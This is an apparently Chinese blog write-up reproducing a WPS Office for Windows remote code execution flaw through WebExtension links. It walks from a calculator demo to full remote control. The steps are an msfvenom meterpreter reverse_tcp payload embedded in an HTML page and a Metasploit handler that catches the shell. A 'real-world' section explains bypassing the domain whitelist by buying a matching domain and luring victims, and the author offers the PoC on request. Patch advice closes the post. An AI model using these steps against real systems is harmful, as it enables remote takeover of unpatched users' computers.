壹 漏洞概念
WPS Office是由北京金山办公软件股份有限公司自主研发的一款办公软件套装,可以实现办公软件最常用的文字、表格、演示、PDF 阅读等多种功能,其具有内存占用低、运行速度快、云功能多、强大插件平台支持、免费提供在线存储空间及文档模板的优点。在国内,目前几乎所有的PC端都用到该办公软件进行日常的办公。2023年08月09日,WPS Office for Windows爆出存在0day漏洞,攻击者通过诱导用户打开文档中嵌入的远程链接即可触发此漏洞执行任意代码。
贰 漏洞原理及利用条件
WPS office for windows使用了一种用于扩展Microsoft Office功能的技术,即WebExtension,该技术可以将第三方开发者开发的插件集成到自己的服务和功能中,本次漏洞是由于WPS在处理WebExtension时,未能正确的处理javascript代码,造成了溢出RCE(类似于之前的chrome浏览器RCE漏洞)。说白了,就是因为WPS内置浏览器存在逻辑漏洞,使得攻击者可以利用该漏洞专门构造出恶意文档,受害者打开该文档并点击文档中的URL链接或包含了超级链接的图片时,存在漏洞版本的WPS office会通过内嵌浏览器加载该链接,接着该链接中js脚本会通过cefQuery调用WPS端内API下载文件并打开文件,进而导致恶意文件在受害者电脑上被运行。
利用条件:
受害机使用的
WPS需要在存在漏洞的对应版本内攻击者需要在公网开启一个
web服务,用来受害者服务其html文件,并且其域名需要遵循http://clientweb.docer.wps.cn.{xxxxx}wps.cn,猜测可能是使用了白名单检测,其匹配的规则为http://clientweb.docer.wps.cn.*?wps.cn受害机需要通过
http协议访问到攻击机,并且打开恶意构造的wps文件
叁 适用版本
WPS Office 2023 个人版 < 11.1.0.15120
WPS Office 2019 企业版 < 11.8.2.12085
肆 复现环境说明
复现WPS Office版本:11.1.0.12313

攻击机(kali):192.168.73.128

受害机(Windows 10):192.168.73.130

连通性:
kali不能ping通Windows10,因为windows10开启了防火墙:

Windows10能ping通kali,与正常的业务一致需要访问外网:

伍 复现
5.1 弹窗计算器
前期准备:
- 受害机修改
host文件,这里的host文件域名设置只需要遵循clientweb.docer.wps.cn.{xxxxx}wps.cn即可,但是wps.cn域名与{xxxxx}wps.cn域名并不存在绑定关系:
192.168.73.128 clientweb.docer.wps.cn.cloudwps.cn

- 攻击机设置
web服务,并且将poc文件放在当前文件夹下:
python3 -m http.server 80

安装版本为11.1.0.12313的WPS Office办公软件并打开攻击者发送的存在问题的poc.docx文件,出现计算器弹窗:

然后查看kali攻击机的web服务响应,可以看到存在请求:

至此简单的计算器复现成功。
5.2 进一步getshell利用
首先我们还是需要设置host文件,这里换一个新的域名,以确定其普遍性:
192.168.73.128 clientweb.docer.wps.cn.demowps.cn

修改域名后,我们需要修改poc.docx文件,将其通过压缩工具解压,这里使用7-zip解压工具:

修改poc\word\webExtensions下的webExtensions1.xml文件:

修改为:

保存后将其压缩,注意需要在poc文件内进行压缩:

最后将poc.zip修改为诱惑受害者点击的名字即可:

然后生成msf马:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.73.128 LPORT=4444 -f csharp > shellcode.cs

接着将shellcode.cs的shellcode代码,复制到1.html中的shellcode变量中,需要注意这里生成的是C#的shellcode:


攻击机在1.html的目录下开启web服务:

运行msf:
msfconsole
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.73.128
msf6 exploit(multi/handler) > set lport 4444
msf6 exploit(multi/handler) > run

受害者点击docx文件:

可以看到getshell成功:


5.3 实战中的思考
整体的利用相对较为简单,利用的方法不需要受害机设置过多的配置,只需要点击攻击者发送的文档,即可被远控,在实验中,我们需要在客户端设置host文件绑定,但在实战中,只要购买一个遵循clientweb.docer.wps.cn.{xxxxx}wps.cn的域名即可,其他前期操作只需要在攻击机上设置。
陆 利用Poc|Exp以及工具
利用的poc:
存在问题的版本软件太大了,需要的私信或者评论!
柒 危害
攻击者通过诱导用户打开文档中嵌入的远程链接即可触发此漏洞执行任意代码。
捌 修复建议
官方修复方案:
参考官方通告,升级至安全版本:https://security.wps.cn/notices/35临时修复方案:
在未升级至安全版本前,建议不要用
WPS打开来源未知的文档,更不要点击来源未知的文档中的任何链接。